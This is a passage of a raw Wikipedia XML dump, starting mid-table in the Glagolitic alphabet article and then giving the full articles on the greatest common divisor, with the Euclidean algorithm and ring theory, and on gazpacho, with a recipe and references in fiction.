! Descendant in modern Russian Cyrillic
|-
| [[Image:GlagolitsaAz.gif|14px|Azu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C00;
| Az'
| Az
| {{IPA|/[[Open back unrounded vowel|ɑ]]/}}
| The sign of the cross, or Hebrew Alef א
| (А а) [[A (Cyrillic)|A]]
|-
| [[Image:GlagolitsaBuki.gif|14px|Bouky]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C01;
| Buky
| Buky
| {{IPA|/[[Voiced bilabial plosive|b]]/}}
| Unknown; Samaritan /m/ is the same letter mirrored
| (Б б) [[Be (Cyrillic)|Be]]
|-
| [[Image:GlagolitsaVedi.gif|16px|Vede]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C02;
| Vede
| Vedi
| {{IPA|/[[Labiodental approximant|ʋ]]/}}
| Probably from Latin V
| (В в) [[Ve (Cyrillic)|Ve]]
|-
| [[Image:GlagolitsaGlagol.gif|16px|Glagolu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C03;
| Glagolji
| Glagoli
| {{IPA|/[[Voiced velar plosive|g]]/}}
| (Γ γ) Greek [[Gamma]]
| (Г г) [[Ge (Cyrillic)|Ghe]]
|-
| [[Image:GlagolitsaDobro.gif|16px|Dobro]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C04;
| Dobro
| Dobro
| {{IPA|/[[Voiced alveolar plosive|d]]/}}
| (Δ δ) Greek [[Delta (letter)|Delta]] (compare /v/ as /d/ turned upside down)
| (Д д) [[De (Cyrillic)|De]]
|-
| [[Image:GlagolitsaJest.gif|10px|Jestu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C05;
| Jest'
| Jest
| {{IPA|/[[Open-mid front unrounded vowel|ɛ]]/}}
| Probably Samaritan /he/ or Greek number ''sampi'' (900)
| (Е е) [[E (Cyrillic)|E]]; see also (Є є) [[Ukrainian Ye]];
|-
| [[Image:GlagolitsaZhivete.gif|14px|Zhivete]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C06;
| Zhivete
| Zhivete
| {{IPA|/[[Voiced postalveolar fricative|ʒ]]/}}
| 
| (Ж ж) [[Zhe (Cyrillic)|Zhe]]
|-
| [[Image:GlagolitsaDzelo.gif|14px|Dzelo]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C07;
| Dzelo
| Dzelo
| {{IPA|/[[Voiced alveolar affricate|ʣ]]/}}
| 
| (Ѕ ѕ) [[Dze|Macedonian Dze]]
|-
| [[Image:GlagolitsaZemlja.gif|14px|Zemlja]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C08;
| Zemlja
| Zemlja
| {{IPA|/[[Voiced alveolar fricative|z]]/}}
| (Θ θ) Variant of Greek [[Theta (letter)|Theta]]
| (З з) [[Ze (Cyrillic)|Ze]]
|-
| [[Image:GlagolitsaI1.gif|18px|I]], [[Image:GlagolitsaIzhe.gif|14px|Izhe]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0A;,&amp;nbsp;&amp;#x2C09;
| Izhe
| Izhe
| {{IPA|/[[Close front unrounded vowel|i]]/}}, {{IPA|/[[Palatal approximant|j]]/}}
| (Ι ι) Greek [[Iota (letter)|Iota]] with dieresis
| (И и) [[I (Cyrillic)|I]]
|-
| [[Image:GlagolitsaI.gif|12px|I]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0B;
| I
| I
| {{IPA|/[[Close front unrounded vowel|i]]/}}, {{IPA|/[[Palatal approximant|j]]/}}
| Source unknown, probably combination of Christian symbols circle and triangle
| (І і) [[Ukrainian I|Belarusian/Ukrainian I]]
|-
| [[Image:GlagolitsaDzherv.gif|16px|Gjerv]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0C;
| Djerv'
| Djerv
| {{IPA|/[[Voiced alveolo-palatal affricate|ʥ]]/}}
| Source unknown
| (Ћ ћ) Serbian [[Tshe]] or (Ђ ђ) Serbian [[Dje |Ðerv]]
|-
| [[Image:GlagolitsaKako.gif|8px|Kako]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0D;
| Kako
| Kako
| {{IPA|/[[Voiceless velar plosive|k]]/}}
| From Hebrew Qof ק
| (К к) [[Ka (Cyrillic)|Ka]]
|-
| [[Image:GlagolitsaLjudi.gif|18px|Ljudie]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0E;
| Ljudije
| Ljudi
| {{IPA|/[[Alveolar lateral approximant|l]]/}}, {{IPA|/[[Palatal lateral approximant|ʎ]]/}}
| (Λ λ) Greek [[Lambda]]
| (Л л) [[El (Cyrillic)|El]]
|-
| [[Image:GlagolitsaMislete.gif|24px|Myslite]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C0F;
| Mislete
| Mislete
| {{IPA|/[[Bilabial nasal|m]]/}}
| (Μ μ) Greek [[Mu (letter)|Mu]]
| (М м) [[Em (Cyrillic)|Em]]
|-
| [[Image:GlagolitsaNash.gif|10px|Nashi]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C10;
| Nash'
| Nash
| {{IPA|/[[Alveolar nasal|n]]/}}, {{IPA|/[[Palatal nasal|ɲ]]/}}
| Source unknown
| (Н н) [[En (Cyrillic)|En]]
|-
| [[Image:GlagolitsaOn.gif|10px|Onu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C11;
| On'
| On
| {{IPA|/[[Open-mid back rounded vowel|&amp;#596;]]/}}
| Source unknown
| (О о) [[O (Cyrillic)|O]]
|-
| [[Image:GlagolitsaPokoj.gif|12px|Pokoi]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C12;
| Pokoji
| Pokoj
| {{IPA|/[[Voiceless bilabial plosive|p]]/}}
| (Π π) Greek [[Pi (letter)|Pi]]
| (П п) [[Pe (Cyrillic)|Pe]]
|-
| [[Image:GlagolitsaRtsi.gif|10px|Rici]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C13;
| Rtsi
| Rtsi
| {{IPA|/[[Alveolar trill|r]]/}}
| (Ρ ρ) Greek [[Rho (letter)|Rho]]
| (Р р) [[Er (Cyrillic)|Er]]
|-
| [[Image:GlagolitsaSlovo.gif|12px|Slovo]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C14;
| Slovo
| Slovo
| {{IPA|/[[Voiceless alveolar fricative|s]]/}}
| Source unknown, probably combination of Christian symbols circle and triangle
| (С с) [[Es (Cyrillic)|Es]]
|-
| [[Image:GlagolitsaTverdo.gif|18px|Tvrido]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C15;
| Tvrdo
| Tverdo
| {{IPA|/[[Voiceless alveolar plosive|t]]/}}
| (Τ τ) Greek [[Tau]]
| (Т т) [[Te (Cyrillic)|Te]]
|-
| [[Image:GlagolitsaJer.gif|14px|Jeru]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C16;
| Uk'
| Uk
| {{IPA|/[[Close back rounded vowel|u]]/}}
| Ligature of on and izhitsa
| (У у) [[U (Cyrillic)|U]]
|-
| [[Image:GlagolitsaFert.gif|12px|Fritu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C17;
| Frt'
| Fert
| {{IPA|/[[Voiceless labiodental fricative|f]]/}}
| (Φ φ) Greek [[Phi (letter)|Phi]]
| (Ф ф) [[Ef (Cyrillic)|Ef]]
|-
| [[Image:GlagolitsaKher.gif|10px|Heru]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C18;
| Kher'
| Kher
| {{IPA|/[[Voiceless velar fricative|x]]/}}
| Unknown, compare /g/ and Latin ''h''
| (Х х) [[Ha (Cyrillic)|Ha]]
|-
| [[Image:GlagolitsaOht.gif|14px|Otu]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C19;
| Oht'
| Oht
| {{IPA|/[[Open-mid back rounded vowel|&amp;#596;]]/}}
| Ligature of on and its mirrored image
| ({{unicode|Ѿ ѿ}}) [[Ot (Cyrillic)|Ot]] (only used to transcribe Greek)
|-
| [[Image:GlagolitsaShta.gif|14px|Shta]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1B;
| Shta
| Shta
| {{IPA|/ʃt/}}
| Ligature of Sha on top of Tverdo
| (Щ щ) [[Shcha (Cyrillic)|Shcha]]
|-
| [[Image:GlagolitsaTsi.gif|14px|Ci]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1C;
| Tsi
| Tsi
| {{IPA|/[[Voiceless alveolar fricative|ʦ]]/}}
| (צ ץ) Hebrew [[Tsade]] צ
| (Ц ц) [[Tse (Cyrillic)|Tse]]
|-
| [[Image:GlagolitsaCherv.gif|12px|Chrivi]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1D;
| Chrv'
| Cherv
| {{IPA|/[[Voiceless postalveolar affricate|ʧ]]/}}
| 
| (Ч ч) [[Che (Cyrillic)|Che]]
|-
| [[Image:GlagolitsaSha.gif|16px|Sha]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1E;
| Sha
| Sha
| {{IPA|/[[Voiceless postalveolar fricative|ʃ]]/}}
| (ש) Hebrew [[Shin (letter)|Shin]] ש
| (Ш ш) [[Sha (Cyrillic)|Sha]]
|-
| [[Image:GlagolitsaJer.gif|14px|Jeru]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1F;
| Jer'
| Jer
| {{IPA|/[[Close back unrounded vowel|ɯ]]/}}
| 
| (Ъ ъ) [[hard sign]]
|-
| [[Image:GlagolitsaJery.gif|28px|Jery]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C1F;&amp;#x2C0A;
| Jery
| Jery
| {{IPA|/[[Close central unrounded vowel|ɨ]]/}}
| 
| (Ы ы) [[Yery]]
|-
| [[Image:GlagolitsaJerj.gif|14px|Jeri]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C20;
| Jerj'
| Jerj
| {{IPA|/[[Close-mid central unrounded vowel|ɘ]]/}}
| 
| (Ь ь) [[soft sign]]
|-
| [[Image:GlagolitsaJat.gif|14px|Jati]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C21;
| Jat'
| Jat
| {{IPA|/[[Near-open front unrounded vowel|æ]]/}}, {{IPA|/jɑ/}}
| Maybe from epigraphic Greek Alpha Α 
| ({{unicode|Ѣ ѣ}}) [[Yat]] (removed from Russian in [[1917]], from Bulgarian in [[1945]])
|-
| [[Image:GlagolitsaJo.gif|15px]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C26;
| Ye
| Yo
| {{IPA|/jɛ/}}
| 
| ({{unicode|Ѥ ѥ}}) [[E iotified]] (obsolete)
|-
| [[Image:GlagolitsaJu.gif|14px|Jou]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C23;
| Yu
| Yu
| {{IPA|/ju/}}
| 
| (Ю ю) [[Yu (Cyrillic)|Yu]]
|-
| [[Image:GlagolitsaJusE.gif|14px|Ensu (small jousu)]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C24;
| Ens'
| [Small Yus]
| {{IPA|/[[Nasalization|ɛ̃]]/}}
| 
| ({{unicode|Ѧ ѧ}}) [[Yus|Yus Small]] (obsolete)
|-
| [[Image:GlagolitsaJusJe.gif|26px|Jensu (small jousu)]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C27;
| Yens'
| [Small Iotified Yus]
| {{IPA|/jɛ̃/}}
| Ligature of Jest and nasality
| ({{unicode|Ѩ ѩ}}) [[Yus|Yus Small Iotified]] (obsolete)
|-
| [[Image:GlagolitsaJusO.gif|24px|Onsu (big jousu)]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C28;
| Ons'
| [Big Yus]
| {{IPA|/[[Nasalization|ɔ̃]]/}}
| Ligature of On and nasality
| ({{unicode|Ѫ ѫ}}) [[Yus|Yus Big]] (obsolete)
|-
| [[Image:GlagolitsaJusJo.gif|26px|Jonsu (big jousu)]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C29;
| Yons'
| [Big Iotified Yus]
| {{IPA|/jɔ̃/}}
| 
| ({{unicode|Ѭ ѭ}}) [[Yus|Yus Big Iotified]] (obsolete)
|-
| [[Image:GlagolitsaThita.gif|16px|Thita]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C2A;
| Thita
| Fita
| {{IPA|/[[Voiceless dental fricative|θ]]/}}
| (Θ θ) Greek [[Theta]]
| ({{unicode|Ѳ ѳ}}) [[Fita]] (only used to transcribe Greek)
|-
| [[Image:GlagolitsaIzhitsa.gif|16px|Yzhica]]
| style=&quot;font-size:x-large;&quot; class=&quot;Unicode&quot; | &amp;#x2C2B;
| Izhitsa
| Izhitsa
| {{IPA|/[[Near-close near-front rounded vowel|ʏ]]/}}, {{IPA|/[[Close front unrounded vowel|i]]/}}
| Ligature of Izhe and Jer
| ({{unicode|Ѵ ѵ}}) [[Izhitsa]] (removed from Russian in [[1917]])
|}

Note that Jery is simply a [[digraph (orthography)|digraph]] of Jer and I.
The order of Izhe and I varies from source to source, as does the order of the various forms of Jus.

== Unicode ==
The Glagolitic alphabet was added to [[Unicode]] in version 4.1. The codepoint range is U+2C00 &amp;ndash; U+2C5E. See also:
* [http://www.unicode.org/charts/PDF/U2C00.pdf Glagolitic code chart]

== In popular culture ==
In Western Europe, Glagolitic is one of the least known Eastern European alphabets. It also has a particularly exotic appearance to Western eyes, as (unlike Cyrillic or Greek) none of the letters bear any resemblance to Roman letters. It may be for this reason that Glagolitic was selected as the script used by an [[extraterrestrial life|extraterrestrial]] species in the [[3-D film|3-D]] [[IMAX]] movie, ''[[Alien Adventure]]''. Not only did the aliens write in Glagolitic, but their leader was called &quot;Cyrillus&quot;! (However, the alien language was unrelated to Slavonic, as in fact they spoke the [[Walloon language]], a rare dialect from the production company's homeland, [[Belgium]].)

==See also==
* [[Glagolitic Mass]]

== External links ==
* [http://www.hr/darko/etf/et03.html Croatian Glagolitic Script]
* [http://www.hr/darko/etf/novi.html Croatian Glagolitic Script]
* [http://www.omniglot.com/writing/glagolitic.htm The Glagolitic alphabet] at omniglot.com
* [http://userweb.port.ac.uk/~cleminsr/introd.html The Budapest Glagolitic Fragments] - links to a Unicode Glagolitic font, Dilyana
* [http://fixedsys.org/~node_ue/fonts/ Typography], links to a Unicode 4.1 Glagolitic font, MPH 2B Damase
* [http://www.hr/darko/glagoljica/gl-font.html Glagolitic Fonts]
* [http://pepa.sa.sweb.cz/hlaholice.htm Three Czech Glagolitic Fonts] - two fonts from [[Great Moravia]] period, one from [[Middle Ages]]

== Literature ==
* Fucic, Branko: ''Glagoljski natpisi''. (In: Djela Jugoslavenske Akademije Znanosti i Umjetnosti, knjiga 57.) Zagreb, 1982. 420 p.
* Fullerton, Sharon Golke: ''Paleographic Methods Used in Dating Cyrillic and Glagolitic Slavic Manuscripts''. (In: Slavic Papers No. 1.) Ohio, 1975. 93 p.
* Gosev, Ivan: ''Rilszki glagolicseszki lisztove''. Szofia, 1956. 130 p.
* V. Jagic ''Glagolitica. Würdigung neuentdeckter Fragmente'', Wien, 1890.
* H. Miklas (Hrsg.) ''Glagolitica: zum Ursprung der slavischen Schriftkultur'', Wien, 2000.
* [http://fullextra.com/modules.php?name=News&amp;file=article&amp;sid=782 Steller, Lea-Katharina (geb. Virághalmy): ''A glagolita írás''] (In: ''Paleográfiai kalandozások''. Szentendre, 1992.)
* Vais, Joseph: ''Abecedarivm Palaeoslovenicvm in usum glagolitarum''. Veglae, [Krk], 1917. XXXVI, 74 p.
* Vajs, Josef: ''Rukovet hlaholske paleografie. Uvedení do knizního písma hlaholskeho''. V Praze, 1932. 178 p, LIV. tab.

[[Category:Alphabetic writing systems]]
[[Category:Slavic culture]]

{{Link FA|bg}}
{{Link FA|sl}}

[[bg:Глаголица]]
[[be:Глаголіца]]
[[cs:Hlaholice]]
[[da:Glagolitiske alfabet]]
[[de:Glagoliza]]
[[es:Alfabeto glagolítico]]
[[fr:Alphabet glagolitique]]
[[gl:Alfabeto glagolítico]]
[[hr:Glagoljica]]
[[it:Alfabeto glagolitico]]
[[hu:Glagolita írás]]
[[nl:Glagolitisch alfabet]]
[[no:Glagolittiske alfabet]]
[[pl:Głagolica]]
[[ro:Alfabetul glagolitic]]
[[ru:Глаголица]]
[[sk:Hlaholika]]
[[sl:Glagolica]]
[[sr:Глагољица]]
[[zh:格拉哥里字母]]</text>
    </revision>
  </page>
  <page>
    <title>Greatest common divisor</title>
    <id>12354</id>
    <revision>
      <id>39973421</id>
      <timestamp>2006-02-17T04:57:21Z</timestamp>
      <contributor>
        <username>Oleg Alexandrov</username>
        <id>153314</id>
      </contributor>
      <comment>/* External links */ rm poor quality website link</comment>
      <text xml:space="preserve">In [[mathematics]], the '''greatest common divisor''' (gcd), sometimes known as the '''greatest common factor''' (gcf) or '''highest common factor''' (hcf) of two [[integer]]s which are not both zero is the largest integer that [[divisor|divides]] both numbers. 

The greatest common divisor of ''a'' and ''b'' is written as gcd(''a'',&amp;nbsp;''b''), or sometimes simply as (''a'',&amp;nbsp;''b''). For example, gcd(12, 18)&amp;nbsp;=&amp;nbsp;6, gcd(&amp;minus;4,&amp;nbsp;14)&amp;nbsp;=&amp;nbsp;2 and gcd(5, 0)&amp;nbsp;=&amp;nbsp;5. Two numbers are called ''[[coprime]]'' or ''relatively prime'' if their greatest common divisor equals 1. For example, 9 and 28 are relatively prime.

The greatest common divisor is useful for reducing [[vulgar fraction]]s to be [[in lowest terms]]. Consider for instance
:&lt;math&gt;{42 \over 56}={3 \cdot 14 \over 4 \cdot 14}={3 \over 4}&lt;/math&gt;
where we cancelled 14, the greatest common divisor of 42 and 56.

== Calculating the GCD ==

Greatest common divisors can in principle be computed by determining the [[prime number|prime factorizations]] of the two numbers and comparing factors, as in the following example: to compute gcd(18,84), we find the prime factorizations 18&amp;nbsp;=&amp;nbsp;2·3&lt;sup&gt;2&lt;/sup&gt; and 84&amp;nbsp;=&amp;nbsp;2&lt;sup&gt;2&lt;/sup&gt;·3·7 and notice that the &quot;overlap&quot; of the two expressions is 2·3; so gcd(18,84)&amp;nbsp;=&amp;nbsp;6. In practice, this method is only feasible for very small numbers; computing prime factorizations in general takes far too long. 

A much more efficient method is the [[Euclidean algorithm]]: divide 84 by 18 to get a quotient of 4 and a remainder of 12. Then divide 18 by 12 to get a quotient of 1 and a remainder of 6. Then divide 12 by 6 to get a remainder of 0, which means that 6 is the gcd.

== Properties ==

*Every common divisor of ''a'' and ''b'' is a divisor of gcd(''a'',&amp;nbsp;''b'').

*gcd(''a'',&amp;nbsp;''b''), where ''a'' and ''b'' are not both zero, may be defined alternatively and equivalently as the smallest positive integer ''d'' which can be written in the form ''d''&amp;nbsp;=&amp;nbsp;''a''·''p''&amp;nbsp;+&amp;nbsp;''b''·''q'' where ''p'' and ''q'' are integers. This expression is called [[Bézout's identity]]. Numbers ''p'' and ''q'' like this can be computed with the [[extended Euclidean algorithm]].

*If ''a'' divides the product ''b''·''c'', and gcd(''a'',&amp;nbsp;''b'')&amp;nbsp;=&amp;nbsp;''d'', then ''a''/''d'' divides ''c''.

*If ''m'' is any integer, then gcd(''m''·''a'',&amp;nbsp;''m''·''b'')&amp;nbsp;=&amp;nbsp;''m''·gcd(''a'',&amp;nbsp;''b'') and gcd(''a''&amp;nbsp;+&amp;nbsp;''m''·''b'',&amp;nbsp;''b'')&amp;nbsp;=&amp;nbsp;gcd(''a'',&amp;nbsp;''b''). If ''m'' is a nonzero common divisor of ''a'' and ''b'', then gcd(''a''/''m'',&amp;nbsp;''b''/''m'')&amp;nbsp;=&amp;nbsp;gcd(''a'',&amp;nbsp;''b'')/''m''.

*The gcd is a [[multiplicative function]] in the following sense: if ''a''&lt;sub&gt;1&lt;/sub&gt; and ''a''&lt;sub&gt;2&lt;/sub&gt; are relatively prime, then gcd(''a''&lt;sub&gt;1&lt;/sub&gt;·''a''&lt;sub&gt;2&lt;/sub&gt;,&amp;nbsp;''b'') = gcd(''a''&lt;sub&gt;1&lt;/sub&gt;,&amp;nbsp;''b'')·gcd(''a''&lt;sub&gt;2&lt;/sub&gt;,&amp;nbsp;''b'').

*The gcd of three numbers can be computed as gcd(''a'',&amp;nbsp;''b'',&amp;nbsp;''c'') = gcd(gcd(''a'',&amp;nbsp;''b''),&amp;nbsp;''c'') = gcd(''a'',&amp;nbsp;gcd(''b'',&amp;nbsp;''c'')). Thus the gcd is an [[associative]] operation.

*gcd(''a'',&amp;nbsp;''b'') is closely related to the [[least common multiple]] lcm(''a'',&amp;nbsp;''b''): we have 
::gcd(''a'',&amp;nbsp;''b'')·lcm(''a'',&amp;nbsp;''b'')&amp;nbsp;=&amp;nbsp;''a''·''b''. 
:This formula is often used to compute least common multiples: one first computes the gcd with Euclid's algorithm and then divides the product of the given numbers by their gcd. The following versions of [[distributivity]] hold true: 
::gcd(''a'',&amp;nbsp;lcm(''b'',&amp;nbsp;''c''))&amp;nbsp;=&amp;nbsp;lcm(gcd(''a'',&amp;nbsp;''b''),&amp;nbsp;gcd(''a'',&amp;nbsp;''c''))
::lcm(''a'',&amp;nbsp;gcd(''b'',&amp;nbsp;''c''))&amp;nbsp;=&amp;nbsp;gcd(lcm(''a'',&amp;nbsp;''b''),&amp;nbsp;lcm(''a'',&amp;nbsp;''c'')).

*It is useful to define gcd(0,&amp;nbsp;0)&amp;nbsp;=&amp;nbsp;0 and lcm(0,&amp;nbsp;0)&amp;nbsp;=&amp;nbsp;0 because then the [[natural number]]s become a [[complete lattice|complete]] [[distributive lattice|distributive]] [[lattice (order)|lattice]] with gcd as meet and lcm as join operation. This extension of the definition is also compatible with the generalization for commutative rings given below.

*In a [[Cartesian coordinate system]], gcd(''a'',&amp;nbsp;''b'') can be interpreted as the number of points with integral coordinates on the [[straight line]] joining the points (0,&amp;nbsp;0) and (''a'',&amp;nbsp;''b''), excluding (0,&amp;nbsp;0).

== The gcd in commutative rings ==

The greatest common divisor can more generally be defined for elements of an arbitrary [[commutative ring]].

If ''R'' is a commutative ring, and ''a'' and ''b'' are in ''R'', then an element of ''d'' of ''R'' is called a ''common divisor'' of ''a'' and ''b'' if it divides both ''a'' and ''b'' (that is, if there are elements ''x'' and ''y'' in ''R'' such that ''d''·''x''&amp;nbsp;=&amp;nbsp;''a'' and ''d''·''y''&amp;nbsp;=&amp;nbsp;''b'').
If ''d'' is a common divisor of ''a'' and ''b'', and every common divisor of ''a'' and ''b'' divides ''d'', then ''d'' is called a ''greatest common divisor'' of ''a'' and ''b''.

Note that with this definition, two elements ''a'' and ''b'' may very well have several greatest common divisors, or none at all. But if ''R'' is an [[integral domain]] then any two gcd's of ''a'' and ''b'' must be [[associate elements]]. Also, if ''R'' is a [[unique factorization domain]], then any two elements have a gcd.
If ''R'' is a [[Euclidean domain]] then a form of the Euclidean algorithm can be used to compute greatest common divisors.

The following is an example of an integral domain with two elements that do not have a gcd:
:&lt;math&gt;R = \mathbb{Z}[\sqrt{-3}],\quad a = 4 = 2\cdot 2 = (1+\sqrt{-3})(1-\sqrt{-3}),\quad b = (1+\sqrt{-3})\cdot 2&lt;/math&gt;
The elements &lt;math&gt;1+\sqrt{-3}&lt;/math&gt; and &lt;math&gt;2&lt;/math&gt; are two &quot;maximal common divisors&quot; (i.e. any common divisor which is a multiple of 2 is associated to 2, the same holds for &lt;math&gt;1+\sqrt{-3}&lt;/math&gt;), but they are not associated, so there is no greatest common divisor of ''a'' and ''b''.

Corresponding to the Bezout property we may, in any commutative ring, consider the collection of elements of the form &lt;math&gt;p a + q b&lt;/math&gt;, where  ''p'' and  ''q''  range over the ring. This is the [[ideal (ring theory)|ideal]] generated by ''a'' and  ''b'', and is denoted simply &lt;math&gt;(a,b)&lt;/math&gt;. In a ring all of whose ideals are principal (a [[principal ideal domain]] or PID), this ideal 
will be identical with the set of multiples of some ring element ''d''; then this ''d'' is a greatest common divisor of  ''a'' and  ''b''. But the ideal &lt;math&gt;(a,b)&lt;/math&gt; can be useful even when there is no greatest common divisor of ''a'' and ''b''. (Indeed, [[Ernst Kummer]] used this ideal as a replacement for a gcd in his treatment of [[Fermat's last theorem]], although he envisioned it as the set of multiples of some hypothetical, or ''ideal'', ring element ''d'', whence the ring-theoretic term.)

== See also ==
* [[Least common multiple]]
* [[Lowest common denominator]]
* [[Binary GCD algorithm]]

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 2: ''Seminumerical Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89684-2. Section 4.5.2: The Greatest Common Divisor, pp.333&amp;ndash;356.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Section 31.2: Greatest common divisor, pp.856&amp;ndash;862.

==External links==

* [http://www.easycalculation.com/hcf.php Online HCF calculator]
* [http://wims.unice.fr/wims/wims.cgi?module=tool/popup.en&amp;search=gcd Online gcd calculator]
* [http://www.nist.gov/dads/HTML/binaryGCD.html A fast GCD algorithm for use in computer programs]

[[Category:Elementary arithmetic]]
[[Category:Multiplicative functions]]

[[cs:Největší společný dělitel]]
[[de:Größter gemeinsamer Teiler]]
[[eo:Plej granda komuna divizoro]]
[[es:Máximo común divisor]]
[[fr:Plus grand commun diviseur]]
[[he:מחלק משותף מקסימלי]]
[[id:Faktor persekutuan terbesar]]
[[id:Massimo comun divisore]]
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[[sl:najve&amp;#269;ji skupni delitelj]]
[[fi:Suurin yhteinen tekijä]]
[[sv:största gemensamma delare]]
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[[zh:&amp;#26368;&amp;#22823;&amp;#20844;&amp;#22240;&amp;#25976;]]</text>
    </revision>
  </page>
  <page>
    <title>Gazpacho</title>
    <id>12357</id>
    <revision>
      <id>42045045</id>
      <timestamp>2006-03-03T12:25:49Z</timestamp>
      <contributor>
        <ip>172.188.174.27</ip>
      </contributor>
      <comment>/* Gazpacho soup in fiction */</comment>
      <text xml:space="preserve">'''Gazpacho soup''', also known as '''gazpacho''', is a cold, tomato-based [[Spanish cuisine|Spanish]] soup that is popular in warmer areas and during the summer. It is usually spicy, but a milder variant has also become popular.

In both [[fiction]] and [[real life]], there have occurred embarrassing situations in which a [[show-off]] is chastened for insisting that his or her cold soup be heated up.

==Sample recipe==
===Ingredients===

*1 lb /450 g [[tomato]]es
*1/2 lb / 225 g [[Bell pepper|green peppers]]
*1/2 [[cucumber]]
*clove of [[garlic]]
*a few [[coriander]] leaves ([[cilantro]])
*1/4 [[chile pepper]], seeds removed (optional, leave out if you want a milder soup)
*2 oz / 50 g [[white bread]], 2-3 days old (also optional, leave out for a thinner soup)
*1/2 mild [[Spanish onion]]

*1 tbsp [[balsamic vinegar]]
*2 tbsp [[olive oil]]
*1/3 pt iced [[water]]
*Sea salt and [[black pepper]]
*[[Ice cube]]s

===To Garnish:===
*2 tomatoes, skinned
*1/2 green pepper
*1/4 peeled cucumber
*2 slices stale white bread, crusts removed

===Method===

Skin the tomatoes and cut into quarters. Remove seeds and stalks from peppers. Peel the cucumber and cut into chunks. Tear up the bread and soak it in water for 30 minutes and then squeeze it dry. Cut up the onion.

Blend all the ingredients until roughly chopped, not too fine, because the soup should have texture and discernible vegetable bits. Pour into large bowl with some ice, add salt and pepper. Then prepare the garnishes. Dice the bread and fry it in a little olive oil until brown. Chop the other vegetables finely. Serve in separate little bowls on the table, so that guests can sprinkle on their own toppings.

Serve chilled.

==Gazpacho soup in fiction==

* In the [[science fiction]] series ''[[Red Dwarf]]'', one character ([[Red Dwarf characters#Arnold Rimmer|Arnold Rimmer]]) dies in a radiation leak.  His last words are 'gazpacho soup'.  Later, when resurrected as a hologram, he is persuaded to explain why these were his last words.  He recounts the sad story of his humiliation as a young officer cadet, in which he embarrassed himself in front of senior officers by complaining to the waiter that the gazpacho soup was cold. Rimmer ends up eating a 'bowl of piping hot gazpacho soup'.
* In [[Pedro Almodovar]]'s 1987 film ''[[Women on the Verge of a Nervous Breakdown]]'' (''Mujeres al borde de un ataque de nervios''), different characters help themselves to gazpacho which has been spiked with [[barbiturates]] by Pepa ([[Carmen Maura]]) and instantly fall into a deep and long sleep.
* In [[The Simpsons]] series episode [3F03] - [[Lisa the Vegetarian]], [[Lisa Simpson]] pronounces the following piece of dialogue: 'Good news, everyone!  You don't have to eat meat! I made enough gazpacho for all... It's a tomato soup, served ice cold!' to which [[Barney Gumble]] replies erroneously 'Go back to [[Russia]]!'
